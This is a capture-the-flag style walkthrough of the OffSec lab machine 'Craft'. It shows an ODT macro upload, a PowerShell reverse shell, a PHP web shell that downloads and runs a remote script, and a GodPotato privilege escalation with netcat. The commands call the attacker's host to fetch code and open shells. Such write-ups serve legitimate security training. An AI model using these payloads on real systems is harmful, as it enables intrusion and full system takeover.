Craft
Enumeration:
Port Scanning:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ sudo nmap -sCV -p- --min-rate 4000 -oA nmap/services -vv 192.168.137.169
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 23:27 EST
<snipped>
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.29 seconds
Raw packets sent: 8 (304B) | Rcvd: 0 (0B
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ sudo nmap -sCV -p- --min-rate 4000 -oA nmap/services -vv 192.168.137.169 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 23:27 EST
Nmap scan report for 192.168.137.169
Host is up, received user-set (0.26s latency).
Scanned at 2025-11-11 23:28:00 EST for 47s
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 125 Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Craft
<snipped>Interestingly we have only one port open which is 80.
Open it with Firefox:

We have an upload form:


Also the domain name has been written at the bottom of the page, we could add it to the hosts file, and enumerate subdomains for example:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
<snipped>
192.168.137.169 craft.offsecI did not find any subdomain to this application.
Directory fuzzing:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ gobuster dir -u http://craft.offsec -w /usr/share/wordlists/dirb/common.txt -x php,html -t 40
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://craft.offsec
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
<snipped>
/server-status (Status: 403) [Size: 420]
/upload.php (Status: 200) [Size: 537]
/uploads (Status: 301) [Size: 338] [--> http://craft.offsec/uploads/]
/webalizer (Status: 403) [Size: 420]
Progress: 13839 / 13839 (100.00%)
===============================================================
Finished
===============================================================We have the upload.php as we have seen in the photo above the upload form, and uploads directory that has nothing.
Lets try to upload text file:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ echo test >> test.txt

It accepts only odt files, we can bypass this and upload a php file for example, but the uploaded files will not go to the uploads directory but somewhere else we do not know.
I searched online for ODT files:

As mentioned in the readme.md file, this script provide 3 ways we can take advantage of macros on ms office, and one for libreoffice odt, so I will use the last one but modify it a bit:
print("\n\n------------------LIBREOFFICE-OPENOFFICE-ODT---------------------------\n\n")
print('Sub Main')
# print(' Shell("cmd /c powershell -ep bypass -c (New-Object System.Net.WebClient).DownloadFile(\'http://' + args.host + '/win/rshell.exe\', \'rshell.exe\')")') #Doesn't work, syntax issues
print(' Shell("cmd /c powershell iwr \'http://' + args.host + '/win/rshell.exe\' -o \'C:/windows/tasks/rshell.exe\'")')
print(' Shell("cmd /c \'C:/windows/tasks/rshell.exe\'")')
print('End Sub')Start Libreoffice to create our odt file with macro in it:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ libreofficeWe will be presented by the welcoming libreoffice page.
Click on writer document to create a new one:

It will open us a new document:

Click on tools in the toolbar then on macros, organize macros and finally basic to create a new macro:

We will select our document that has no name at the moment (untitiled 1) then press new, and name our macro, then click OK:

It will open up the macro editor:

I will place my own one-liner reverse shell command:

Finally close it up.
Now we need to setup the trigger that will execute our macro which is opening the document.
Tools again, the customize:

We will select the open document even, the under assign on the right hand of the prompt click on macro, select our macro, after that click OK:

We can see in the photo below, that our macro has been assigned on the open document event.

Now save the file as odt:


Exploitation:
I will upload the odt file, but before that start a nc listener and a web server to host our shell.ps1 file:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ cat shell.ps1
$client = New-Object System.Net.Sockets.TCPClient('192.168.45.238',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $by
tes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + '
PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
Wait a minute:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.137.169 - - [12/Nov/2025 00:32:58] "GET /shell.ps1 HTTP/1.1" 200 -┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.137.169] 49756
PS C:\Program Files\LibreOffice\program> whoami
craft\thecybergeekHere we have a reverse shell as thecybergeek.
Post-Exploitation:
Doing some local enumeration.
I found another user on the target called apache:
PS C:\> cd \Users
PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/28/2021 3:53 AM Administrator
d----- 7/13/2021 3:19 AM apache
d-r--- 5/28/2021 3:53 AM Public
d----- 7/13/2021 3:35 AM thecybergeekAnd we have our xampp that is used to run the application we exploited earlier:
PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/13/2021 3:27 AM java
d----- 5/28/2021 4:20 AM PerfLogs
d-r--- 7/13/2021 3:37 AM Program Files
d----- 5/28/2021 3:53 AM Program Files (x86)
d-r--- 7/13/2021 3:35 AM Users
d----- 10/14/2021 1:30 AM Windows
d----- 5/28/2021 6:04 AM Windows10Upgrade
d----- 7/13/2021 3:24 AM xampp
-a---- 11/11/2025 9:21 PM 2698 output.txtPS C:\> cd xampp
PS C:\xampp> dir
Directory: C:\xampp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/13/2021 3:22 AM apache
d----- 7/13/2021 3:22 AM cgi-bin
d----- 7/13/2021 3:22 AM contrib
d----- 7/13/2021 3:22 AM FileZillaFTP
d----- 7/13/2021 3:18 AM htdocs
d----- 7/13/2021 3:22 AM install
d----- 7/13/2021 3:22 AM licenses
d----- 7/13/2021 3:22 AM locale
d----- 7/13/2021 3:22 AM MercuryMail
d----- 7/13/2021 3:23 AM mysql
d----- 7/13/2021 3:23 AM perl
d----- 7/13/2021 3:23 AM php
d----- 7/13/2021 3:23 AM phpMyAdmin
d----- 7/13/2021 3:23 AM sendmail
d----- 11/11/2025 9:32 PM tmp
d----- 7/13/2021 3:23 AM tomcat
d----- 7/13/2021 3:23 AM webalizer
d----- 7/13/2021 3:23 AM webdav
-a---- 6/7/2013 11:15 AM 436 apache_start.bat
-a---- 10/1/2019 7:13 AM 190 apache_stop.bat
<snipped>PS C:\xampp\htdocs> dir
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/13/2021 3:18 AM assets
d----- 7/13/2021 3:18 AM css
d----- 7/13/2021 3:18 AM js
d----- 11/11/2025 9:32 PM uploads
-a---- 7/7/2021 10:53 AM 9635 index.php
-a---- 7/7/2021 9:56 AM 835 upload.phpHere we will have the files we discovered previously via gobuster.
Search for services the Apache user is running:
PS C:\Program Files\LibreOffice\program> Get-WmiObject Win32_Service | Select-Object Name, StartName, ProcessId | findstr apache
ApacheHTTPServer .\apache 2328
PS C:\Program Files\LibreOffice\program> tasklist /v | findstr 2328
httpd.exe 2328 0 20,008 K Unknown N/A 0:00:00 N/AWe can confirm that the Apache user is the one running the httpd service.
So if we uploaded another reverse shell file to that directory we can get code execution.
Lets check the permissions we have on that directory:
PS C:\xampp\htdocs> echo 1 > test.txt
PS C:\xampp\htdocs> dir
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/13/2021 3:18 AM assets
d----- 7/13/2021 3:18 AM css
d----- 7/13/2021 3:18 AM js
d----- 11/11/2025 9:32 PM uploads
-a---- 7/7/2021 10:53 AM 9635 index.php
-a---- 11/11/2025 9:48 PM 8 test.txt
-a---- 7/7/2021 9:56 AM 835 upload.phpWe have write permissions, we can also check this by using icacls or Get-Acl on that directory as well.
I wrote a simple php script to execute the same cradle I used within the macro:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ vim shell.php
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ cat shell.php
<?php system('powershell -c IEX(IWR -UseBasicParsing -Uri http://192.168.45.238/shell.ps1)');?>Start the python3 web server again and upload the shell.php to the target:
PS C:\xampp\htdocs> curl http://192.168.45.238/shell.php -o shell.php
PS C:\xampp\htdocs> dir
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/13/2021 3:18 AM assets
d----- 7/13/2021 3:18 AM css
d----- 7/13/2021 3:18 AM js
d----- 11/11/2025 9:32 PM uploads
-a---- 7/7/2021 10:53 AM 9635 index.php
-a---- 11/11/2025 9:51 PM 96 shell.php
-a---- 7/7/2021 9:56 AM 835 upload.php┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...Open that file up with Firefox:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.137.169 - - [12/Nov/2025 00:51:45] "GET /shell.php HTTP/1.1" 200 -
192.168.137.169 - - [12/Nov/2025 00:52:02] "GET /shell.ps1 HTTP/1.1" 200 -We got a hit to our webserver.
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.137.169] 49876
PS C:\xampp\htdocs> whoami
craft\apacheNow we are the user apache.
Check our privileges:
PS C:\xampp\htdocs> whoami /all
USER INFORMATION
----------------
User Name SID
============ ============================================
craft\apache S-1-5-21-537427935-490066102-1511301751-1000
<snipped>
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeTcbPrivilege Act as part of the operating system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledWe have seimpersonateprivilege privilege.
Upload nc and godpotato:
PS C:\xampp\htdocs> cd \Windows\Tasks
PS C:\Windows\Tasks> curl http://192.168.45.238/nc64.exe -o nc.exe
PS C:\Windows\Tasks> curl http://192.168.45.238/GodPotato-NET4.exe -o GodPotato-NET4.exe
PS C:\Windows\Tasks> dir
Directory: C:\Windows\Tasks
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/11/2025 9:53 PM 57344 GodPotato-NET4.exe
-a---- 11/11/2025 9:53 PM 45272 nc.exeStart another nc listener:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...Execute godpotato:
PS C:\Windows\Tasks> .\GodPotato-NET4.exe -cmd "C:\Windows\Tasks\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.238 443"
[*] CombaseModule: 0x140725752430592
[*] DispatchTable: 0x140725754744000
[*] UseProtseqFunction: 0x140725754120928
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\2ba62230-fae2-4aa1-8f64-7d963050c5cb\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00002002-07a4-ffff-71dd-f13a829a3552
[*] DCOM obj OXID: 0x8ddf51fe7a8229e4
[*] DCOM obj OID: 0x6757d7c514911bfe
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 880 Token:0x804 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4892┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Craft]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.137.169] 49892
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>set username
USERNAME=CRAFT$
C:\Windows\system32>set computername
COMPUTERNAME=CRAFTWe will have access as the machine account.
Get the flags
C:\Windows\system32>type \Users\Administrator\Desktop\proof.txt
5f4295b24c3cf5d8737ace238b4c8daa
C:\Windows\system32>type \Users\thecybergeek\Desktop\local.txt
6513e34eaca556c88a9b02f2386653b0Last updated